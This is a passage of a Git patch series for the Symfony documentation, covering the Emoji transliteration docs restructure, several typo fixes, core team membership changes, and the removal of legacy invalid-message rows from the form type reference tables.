introduced in Symfony 7.1. - -Given the textual representation of an emoji, you can reverse it back to get the -actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`: - -.. code-block:: twig - - {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #} - {{ 'I like :kiwi:'|emojify }} {# renders: I like 🥝 #} - {{ 'I like :kiwifruit:'|emojify }} {# renders: I like 🥝 #} - -By default, ``emojify`` uses the :ref:`text catalog <string-text-emoji>`, which -merges the emoji text codes of all services. If you prefer, you can select a -specific catalog to use: - -.. code-block:: twig - - {{ 'I :green-heart: this'|emojify }} {# renders: I 💚 this #} - {{ ':green_salad: is nice'|emojify('slack') }} {# renders: 🥗 is nice #} - {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #} - {{ ':kiwi: is a great fruit'|emojify('gitlab') }} {# renders: 🥝 is a great fruit #} - -Removing Emojis -~~~~~~~~~~~~~~~ - -The ``EmojiTransliterator`` can also be used to remove all emojis from a string, -via the special ``strip`` locale:: - - use Symfony\Component\Emoji\EmojiTransliterator; - - $transliterator = EmojiTransliterator::create('strip'); - $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); - // => 'Hey! Happy Birthday!' - .. _string-slugger: Slugger @@ -752,7 +581,7 @@ the injected slugger is the same as the request locale:: Slug Emojis ~~~~~~~~~~~ -You can also combine the :ref:`emoji transliterator <string-emoji-transliteration>` +You can also combine the :ref:`emoji transliterator <emoji-transliteration>` with the slugger to transform any emojis into their textual representation:: use Symfony\Component\String\Slugger\AsciiSlugger; @@ -822,4 +651,3 @@ possible to determine a unique singular/plural form for the given word. .. _`Code points`: https://en.wikipedia.org/wiki/Code_point .. _`Grapheme clusters`: https://en.wikipedia.org/wiki/Grapheme .. _`Unicode equivalence`: https://en.wikipedia.org/wiki/Unicode_equivalence -.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr From add4600eab9d96b52a44eae81f35904c45e23e92 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 19 Sep 2024 17:31:06 +0200 Subject: [PATCH 434/615] Minor tweaks --- emoji.rst | 50 ++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 40 insertions(+), 10 deletions(-) diff --git a/emoji.rst b/emoji.rst index ba6ca38ed73..551497f0c76 100644 --- a/emoji.rst +++ b/emoji.rst @@ -32,7 +32,7 @@ to compress the internal Symfony emoji data files using the PHP ``zlib`` extensi .. _emoji-transliteration: Emoji Transliteration -~~~~~~~~~~~~~~~~~~~~~ +--------------------- The ``EmojiTransliterator`` class offers a way to translate emojis into their textual representation in all languages based on the `Unicode CLDR dataset`_:: @@ -49,11 +49,13 @@ textual representation in all languages based on the `Unicode CLDR dataset`_:: $transliterator->transliterate('Menus with 🍕 or 🍝'); // => 'Menus with піца or спагеті' -You can also combine the ``EmojiTransliterator`` with the :ref:`slugger <string-slugger-emoji>` -to transform any emojis into their textual representation. +.. tip:: + + When using the :ref:`slugger <string-slugger>` from the String component, + you can combine it with the ``EmojiTransliterator`` to :ref:`slugify emojis <string-slugger-emoji>`. Transliterating Emoji Text Short Codes -...................................... +-------------------------------------- Services like GitHub and Slack allows to include emojis in your messages using text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji). @@ -62,6 +64,9 @@ Symfony also provides a feature to transliterate emojis into short codes and vic versa. The short codes are slightly different on each service, so you must pass the name of the service as an argument when creating the transliterator. +GitHub Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Convert emojis to GitHub short codes with the ``emoji-github`` locale:: $transliterator = EmojiTransliterator::create('emoji-github'); @@ -74,15 +79,40 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale:: $transliterator->transliterate('Teenage :turtle: really love :pizza:'); // => 'Teenage 🐢 really love 🍕' -.. note:: +Gitlab Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-gitlab'); + $transliterator->transliterate('Breakfast with 🥝 or 🥛'); + // => 'Breakfast with :kiwi: or :milk:' + +Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('gitlab-emoji'); + $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); + // => 'Breakfast with 🥝 or 🥛' + +Slack Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Convert emojis to Slack short codes with the ``emoji-slack`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-slack'); + $transliterator->transliterate('Menus with 🥗 or 🧆'); + // => 'Menus with :green_salad: or :falafel:' + +Convert Slack short codes to emojis with the ``slack-emoji`` locale:: - Github, Gitlab and Slack are currently available services in - ``EmojiTransliterator``. + $transliterator = EmojiTransliterator::create('slack-emoji'); + $transliterator->transliterate('Menus with :green_salad: or :falafel:'); + // => 'Menus with 🥗 or 🧆' .. _text-emoji: Universal Emoji Short Codes Transliteration -########################################### +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If you don't know which service was used to generate the short codes, you can use the ``text-emoji`` locale, which combines all codes from all services:: @@ -106,7 +136,7 @@ You can convert emojis to short codes with the ``emoji-text`` locale:: // => 'Breakfast with :kiwifruit: or :milk-glass: Inverse Emoji Transliteration -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +----------------------------- Given the textual representation of an emoji, you can reverse it back to get the actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`: @@ -129,7 +159,7 @@ specific catalog to use: {{ ':kiwi: is a great fruit'|emojify('gitlab') }} {# renders: 🥝 is a great fruit #} Removing Emojis -~~~~~~~~~~~~~~~ +--------------- The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the special ``strip`` locale:: From 7815198fe2e3b58229650e022cd8c89cb53c1568 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 19 Sep 2024 17:33:25 +0200 Subject: [PATCH 435/615] [String] Added a message about the moved Emoji docs --- string.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/string.rst b/string.rst index 702e9344880..667dcd06010 100644 --- a/string.rst +++ b/string.rst @@ -507,6 +507,11 @@ requested during the program execution. You can also create lazy strings from a // hash computation only if it's needed $lazyHash = LazyString::fromStringable(new Hash()); +Working with Emojis +------------------- + +These contents have been moved to the :doc:`Emoji component docs </emoji>`. + .. _string-slugger: Slugger From 56ab079c3a467a1349e4aeda51eb108581e707ce Mon Sep 17 00:00:00 2001 From: Simo Heinonen <simo@dudgeon.fi> Date: Thu, 19 Sep 2024 16:48:18 +0300 Subject: [PATCH 436/615] Update value_resolver.rst --- controller/value_resolver.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst index 3e888793c15..ed0b856b442 100644 --- a/controller/value_resolver.rst +++ b/controller/value_resolver.rst @@ -106,7 +106,7 @@ Symfony ships with the following value resolvers in the .. tip:: The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`. - This. gives your full control over the date and time values the controller + This gives your full control over the date and time values the controller receives when testing your application and using the :class:`Symfony\\Component\\Clock\\MockClock` implementation. From c2b0315c54237723d2f0d1d0984e309217e96c85 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 19 Sep 2024 22:38:22 +0200 Subject: [PATCH 437/615] Update controller/value_resolver.rst Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com> --- controller/value_resolver.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst index ed0b856b442..08ba5f3eb72 100644 --- a/controller/value_resolver.rst +++ b/controller/value_resolver.rst @@ -106,7 +106,7 @@ Symfony ships with the following value resolvers in the .. tip:: The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`. - This gives your full control over the date and time values the controller + This gives you full control over the date and time values the controller receives when testing your application and using the :class:`Symfony\\Component\\Clock\\MockClock` implementation. From 58350a556c35b5d989b722ba15ebb07fcad7430e Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Sat, 21 Sep 2024 07:52:43 +0200 Subject: [PATCH 438/615] Move some core team members to the former core members section --- contributing/code/core_team.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 0a2324b08a3..efc60894c7c 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -50,19 +50,16 @@ Active Core Members * **Nicolas Grekas** (`nicolas-grekas`_); * **Christophe Coevoet** (`stof`_); * **Christian Flothmann** (`xabbuh`_); - * **Tobias Schultze** (`Tobion`_); * **Kévin Dunglas** (`dunglas`_); * **Javier Eguiluz** (`javiereguiluz`_); * **Grégoire Pineau** (`lyrixx`_); * **Ryan Weaver** (`weaverryan`_); * **Robin Chalas** (`chalasr`_); - * **Maxime Steinhausser** (`ogizanagi`_); * **Yonel Ceruto** (`yceruto`_); * **Tobias Nyholm** (`Nyholm`_); * **Wouter De Jong** (`wouterj`_); * **Alexander M. Turek** (`derrabus`_); * **Jérémy Derussé** (`jderusse`_); - * **Titouan Galopin** (`tgalopin`_); * **Oskar Stark** (`OskarStark`_); * **Thomas Calvet** (`fancyweb`_); * **Mathieu Santostefano** (`welcomattic`_); @@ -72,7 +69,6 @@ Active Core Members * **Security Team** (``@symfony/security`` on GitHub): * **Fabien Potencier** (`fabpot`_); - * **Michael Cullum** (`michaelcullum`_); * **Jérémy Derussé** (`jderusse`_). * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub): @@ -97,7 +93,11 @@ Symfony contributions: * **Lukas Kahwe Smith** (`lsmith77`_); * **Jules Pietri** (`HeahDude`_); * **Jakub Zalas** (`jakzal`_); -* **Samuel Rozé** (`sroze`_). +* **Samuel Rozé** (`sroze`_); +* **Tobias Schultze** (`Tobion`_); +* **Maxime Steinhausser** (`ogizanagi`_); +* **Titouan Galopin** (`tgalopin`_); +* **Michael Cullum** (`michaelcullum`_). Core Membership Application ~~~~~~~~~~~~~~~~~~~~~~~~~~~ From 19ee7d29930b86c8589ae4b67ce4ef2b9116b657 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=BCrgen?= <juukie@users.noreply.github.com> Date: Sat, 21 Sep 2024 22:29:02 +0200 Subject: [PATCH 439/615] Fix typo filename --- service_container.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container.rst b/service_container.rst index eef0433a3c8..ff7a60d441b 100644 --- a/service_container.rst +++ b/service_container.rst @@ -1434,7 +1434,7 @@ Let's say you have the following functional interface:: You also have a service that defines many methods and one of them is the same ``format()`` method of the previous interface:: - // src/Service/MessageFormatterInterface.php + // src/Service/MessageUtils.php namespace App\Service; class MessageUtils From 5cbf3c07d77357fcfdc46827b9e4b23d4c5fce59 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 24 Sep 2024 10:38:44 +0200 Subject: [PATCH 440/615] [Form] Remove a broken link --- reference/forms/types/search.rst | 4 ---- 1 file changed, 4 deletions(-) diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst index e38021bc461..32db9b3eccb 100644 --- a/reference/forms/types/search.rst +++ b/reference/forms/types/search.rst @@ -4,8 +4,6 @@ SearchType Field This renders an ``<input type="search">`` field, which is a text box with special functionality supported by some browsers. -Read about the input search field at `DiveIntoHTML5.info`_ - +---------------------------+----------------------------------------------------------------------+ | Rendered as | ``input search`` field | +---------------------------+----------------------------------------------------------------------+ @@ -65,5 +63,3 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/row_attr.rst.inc .. include:: /reference/forms/types/options/trim.rst.inc - -.. _`DiveIntoHTML5.info`: http://diveintohtml5.info/forms.html#type-search From 6516a9b4bcd72535bc566686284596b4b85a082d Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Tue, 24 Sep 2024 10:49:35 +0200 Subject: [PATCH 441/615] form/remove-legacy-message --- reference/forms/types/birthday.rst | 2 -- reference/forms/types/checkbox.rst | 2 -- reference/forms/types/choice.rst | 2 -- reference/forms/types/collection.rst | 2 -- reference/forms/types/color.rst | 2 -- reference/forms/types/country.rst | 2 -- reference/forms/types/currency.rst | 2 -- reference/forms/types/date.rst | 2 -- reference/forms/types/dateinterval.rst | 2 -- reference/forms/types/datetime.rst | 2 -- reference/forms/types/email.rst | 2 -- reference/forms/types/enum.rst | 2 -- reference/forms/types/file.rst | 2 -- reference/forms/types/form.rst | 2 -- reference/forms/types/hidden.rst | 2 -- reference/forms/types/integer.rst | 2 -- reference/forms/types/language.rst | 2 -- reference/forms/types/locale.rst | 2 -- reference/forms/types/money.rst | 2 -- reference/forms/types/number.rst | 2 -- reference/forms/types/password.rst | 2 -- reference/forms/types/percent.rst | 2 -- reference/forms/types/radio.rst | 2 -- reference/forms/types/range.rst | 2 -- reference/forms/types/repeated.rst | 2 -- reference/forms/types/search.rst | 2 -- reference/forms/types/tel.rst | 2 -- reference/forms/types/time.rst | 2 -- reference/forms/types/timezone.rst | 2 -- reference/forms/types/ulid.rst | 2 -- reference/forms/types/url.rst | 2 -- reference/forms/types/uuid.rst | 2 -- reference/forms/types/week.rst | 2 -- 33 files changed, 66 deletions(-) diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst index 2098d3cfb89..383dbf890f2 100644 --- a/reference/forms/types/birthday.rst +++ b/reference/forms/types/birthday.rst @@ -19,8 +19,6 @@ option defaults to 120 years ago to the current year. +---------------------------+-------------------------------------------------------------------------------+ | Default invalid message | Please enter a valid birthdate. | +---------------------------+-------------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-------------------------------------------------------------------------------+ | Parent type | :doc:`DateType </reference/forms/types/date>` | +---------------------------+-------------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType` | diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst index 472d6f84024..2299220c5b6 100644 --- a/reference/forms/types/checkbox.rst +++ b/reference/forms/types/checkbox.rst @@ -13,8 +13,6 @@ if you want to handle submitted values like "0" or "false"). +---------------------------+------------------------------------------------------------------------+ | Default invalid message | The checkbox has an invalid value. | +---------------------------+------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+------------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` | diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst index 0b250b799da..55f2d016001 100644 --- a/reference/forms/types/choice.rst +++ b/reference/forms/types/choice.rst @@ -11,8 +11,6 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op +---------------------------+----------------------------------------------------------------------+ | Default invalid message | The selected choice is invalid. | +---------------------------+----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` | diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst index acb110fd722..c5fee42f06c 100644 --- a/reference/forms/types/collection.rst +++ b/reference/forms/types/collection.rst @@ -16,8 +16,6 @@ that is passed as the collection type field data. +---------------------------+--------------------------------------------------------------------------+ | Default invalid message | The collection is invalid. | +---------------------------+--------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+--------------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+--------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` | diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst index 1a320b9bdbf..b205127fb91 100644 --- a/reference/forms/types/color.rst +++ b/reference/forms/types/color.rst @@ -16,8 +16,6 @@ element. +---------------------------+---------------------------------------------------------------------+ | Default invalid message | Please select a valid color. | +---------------------------+---------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+---------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+---------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` | diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst index 8913e639f23..d841461b2f5 100644 --- a/reference/forms/types/country.rst +++ b/reference/forms/types/country.rst @@ -20,8 +20,6 @@ the option manually, but then you should just use the ``ChoiceType`` directly. +---------------------------+-----------------------------------------------------------------------+ | Default invalid message | Please select a valid country. | +---------------------------+-----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +---------------------------+-----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` | diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst index cca441ff930..b69225eb78c 100644 --- a/reference/forms/types/currency.rst +++ b/reference/forms/types/currency.rst @@ -13,8 +13,6 @@ manually, but then you should just use the ``ChoiceType`` directly. +---------------------------+------------------------------------------------------------------------+ | Default invalid message | Please select a valid currency. | +---------------------------+------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+------------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +---------------------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` | diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst index 515c12099a1..c412872442e 100644 --- a/reference/forms/types/date.rst +++ b/reference/forms/types/date.rst @@ -14,8 +14,6 @@ and can understand a number of different input formats via the `input`_ option. +---------------------------+-----------------------------------------------------------------------------+ | Default invalid message | Please enter a valid date. | +---------------------------+-----------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+-----------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType` | diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst index 627fb78d7ed..38fccb47cd1 100644 --- a/reference/forms/types/dateinterval.rst +++ b/reference/forms/types/dateinterval.rst @@ -16,8 +16,6 @@ or an array (see `input`_). +---------------------------+----------------------------------------------------------------------------------+ | Default invalid message | Please choose a valid date interval. | +---------------------------+----------------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+----------------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType` | diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst index 7ffc0ee216f..5fda8e9a14f 100644 --- a/reference/forms/types/datetime.rst +++ b/reference/forms/types/datetime.rst @@ -14,8 +14,6 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array. +---------------------------+-----------------------------------------------------------------------------+ | Default invalid message | Please enter a valid date and time. | +---------------------------+-----------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+-----------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType` | diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst index 9045bba8cc4..ef535050813 100644 --- a/reference/forms/types/email.rst +++ b/reference/forms/types/email.rst @@ -9,8 +9,6 @@ The ``EmailType`` field is a text field that is rendered using the HTML5 +---------------------------+---------------------------------------------------------------------+ | Default invalid message | Please enter a valid email address. | +---------------------------+---------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+---------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+---------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` | diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst index 0aad19767e3..875c0808108 100644 --- a/reference/forms/types/enum.rst +++ b/reference/forms/types/enum.rst @@ -10,8 +10,6 @@ field and defines the same options. +---------------------------+----------------------------------------------------------------------+ | Default invalid message | The selected choice is invalid. | +---------------------------+----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +---------------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType` | diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst index b4982859b98..2e841611eb8 100644 --- a/reference/forms/types/file.rst +++ b/reference/forms/types/file.rst @@ -8,8 +8,6 @@ The ``FileType`` represents a file input in your form. +---------------------------+--------------------------------------------------------------------+ | Default invalid message | Please select a valid file. | +---------------------------+--------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+--------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+--------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` | diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst index 0d0089c1fd3..58a6214d379 100644 --- a/reference/forms/types/form.rst +++ b/reference/forms/types/form.rst @@ -7,8 +7,6 @@ on all types for which ``FormType`` is the parent. +---------------------------+--------------------------------------------------------------------+ | Default invalid message | This value is not valid. | +---------------------------+--------------------------------------------------------------------+ -| Legacy invalid message | This value is not valid. | -+---------------------------+--------------------------------------------------------------------+ | Parent | none | +---------------------------+--------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` | diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst index fba056b88e5..d6aff282edd 100644 --- a/reference/forms/types/hidden.rst +++ b/reference/forms/types/hidden.rst @@ -8,8 +8,6 @@ The hidden type represents a hidden input field. +---------------------------+----------------------------------------------------------------------+ | Default invalid message | The hidden field is invalid. | +---------------------------+----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` | diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst index 619ac996df6..1f94f9e2525 100644 --- a/reference/forms/types/integer.rst +++ b/reference/forms/types/integer.rst @@ -15,8 +15,6 @@ integers. By default, all non-integer values (e.g. 6.78) will round down +---------------------------+-----------------------------------------------------------------------+ | Default invalid message | Please enter an integer. | +---------------------------+-----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+-----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` | diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst index 4b1bccd077d..e3dddfb8ae6 100644 --- a/reference/forms/types/language.rst +++ b/reference/forms/types/language.rst @@ -22,8 +22,6 @@ manually, but then you should just use the ``ChoiceType`` directly. +---------------------------+------------------------------------------------------------------------+ | Default invalid message | Please select a valid language. | +---------------------------+------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+------------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +---------------------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` | diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst index 1868f20eda1..68155a248fd 100644 --- a/reference/forms/types/locale.rst +++ b/reference/forms/types/locale.rst @@ -23,8 +23,6 @@ manually, but then you should just use the ``ChoiceType`` directly. +---------------------------+----------------------------------------------------------------------+ | Default invalid message | Please select a valid locale. | +---------------------------+----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +---------------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` | diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst index 5793097fe2f..f9f8cefdd58 100644 --- a/reference/forms/types/money.rst +++ b/reference/forms/types/money.rst @@ -13,8 +13,6 @@ how the input and output of the data is handled. +---------------------------+---------------------------------------------------------------------+ | Default invalid message | Please enter a valid money amount. | +---------------------------+---------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+---------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+---------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` | diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst index 86d8eda3116..7e125a5fd05 100644 --- a/reference/forms/types/number.rst +++ b/reference/forms/types/number.rst @@ -10,8 +10,6 @@ that you want to use for your number. +---------------------------+----------------------------------------------------------------------+ | Default invalid message | Please enter a number. | +---------------------------+----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` | diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst index 7fb760471ef..83342194a4e 100644 --- a/reference/forms/types/password.rst +++ b/reference/forms/types/password.rst @@ -8,8 +8,6 @@ The ``PasswordType`` field renders an input password text box. +---------------------------+------------------------------------------------------------------------+ | Default invalid message | The password is invalid. | +---------------------------+------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+------------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` | diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst index ce985488c76..b46ca298c53 100644 --- a/reference/forms/types/percent.rst +++ b/reference/forms/types/percent.rst @@ -14,8 +14,6 @@ the input. +---------------------------+-----------------------------------------------------------------------+ | Default invalid message | Please enter a percentage value. | +---------------------------+-----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+-----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` | diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst index 7702b87cbad..7ab90086803 100644 --- a/reference/forms/types/radio.rst +++ b/reference/forms/types/radio.rst @@ -15,8 +15,6 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty +---------------------------+---------------------------------------------------------------------+ | Default invalid message | Please select a valid option. | +---------------------------+---------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+---------------------------------------------------------------------+ | Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>` | +---------------------------+---------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` | diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst index 294023ce0c6..06eebfd5473 100644 --- a/reference/forms/types/range.rst +++ b/reference/forms/types/range.rst @@ -9,8 +9,6 @@ The ``RangeType`` field is a slider that is rendered using the HTML5 +---------------------------+---------------------------------------------------------------------+ | Default invalid message | Please choose a valid range. | +---------------------------+---------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+---------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+---------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` | diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst index e5bd0cd4520..36211237bbd 100644 --- a/reference/forms/types/repeated.rst +++ b/reference/forms/types/repeated.rst @@ -11,8 +11,6 @@ accuracy. +---------------------------+------------------------------------------------------------------------+ | Default invalid message | The values do not match. | +---------------------------+------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+------------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` | diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst index e38021bc461..5ece0f6416b 100644 --- a/reference/forms/types/search.rst +++ 